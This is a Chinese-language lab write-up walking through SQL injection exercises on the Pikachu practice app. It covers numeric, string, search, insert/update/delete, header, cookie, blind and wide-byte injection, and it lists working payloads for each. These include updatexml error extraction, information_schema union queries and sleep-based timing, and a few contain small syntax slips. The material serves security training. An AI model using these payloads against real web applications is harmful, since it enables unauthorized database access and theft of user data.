數字型注入(POST)
因為是數字性不需要加字符測試
把BurpSuite 中攔截的包發到 Repeater 中,修改id參數的值,查看響應結果。可以看到取出了數據庫中全部數據,說明存在數字型注入漏洞。
字符型注入(GET)
輸入“kobe”,可以得到下面的輸出
需要構造閉合,閉合后台查詢語句中的第一個單引號,然后注釋掉第二個單引號,構造的payload如下
輸入kobe‘ or 1=1#進行測試 可得結果
搜索型注入
構造對應的閉合,閉合前面的 單引號 和 百分號,注釋后面的百分號和單引號。構造的payload如下
xxxx%' or 1=1#
XX型注入
使用payload xx')or 1=1# 可得
insert/update注入
1.insert注入
使用updataxml 函數
注入payload
1' or updatexml(1,concat(0x7e,database()),0) or'
得到皮卡丘的數據庫名字是 pikachu
2 update注入
先登錄進去,在修改資料處抓包
Payload和insert注入相同:
1' or updatexml(1,concat(0x7e,database()),0) or'
同樣能得到皮卡丘的數據庫名字是 pikachu
delete注入
先進行留言 在刪除的時候抓包
由於是get的類型的 在payload記得進行url編碼
payload 與之前一樣
得到皮卡丘的數據庫名字是 pikachu
http header注入
先進行登錄 然后開始抓包
在ua頭進行注入 payload相同
得到皮卡丘的數據庫名字是 pikachu
COOKIE
cookie中的admin也是一個注入點
還有 cookie 也是可以注入的,后端可能會取得我們的 cookie,后端通過拼接 SQL 語句進行驗證
在 cookie 的用戶名后面加上一個單引號並發送
報錯 有注入點
構造相同payload 同樣得到數據庫
得到皮卡丘的數據庫名字是 pikachu
盲注 (base on boolian)
只有加and 1=1#
才能返回個人信息,or 1=1#
報錯
用函數來構造payload
kobe' and ascii(substr(database(),1,1))=112#
kobe' and ascii(substr(database(),1,1)>110#
kobe' and ascii(substr(database(),1,1)<113#
112通過多次比較才能試出來
然后獲取表名
test payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
然后獲取字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
盲注(base on time)
payload:
kobe’ and sleep(5)#
看到時間線是5s,說明存在基於時間的盲注
使用payload
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回結果 說明不是 "a" 改為”p”不返回 一直到確定數據庫的全稱。
寬字節注入
在后台單引號會被轉義 改使用payload
kobe%df' or 1=1#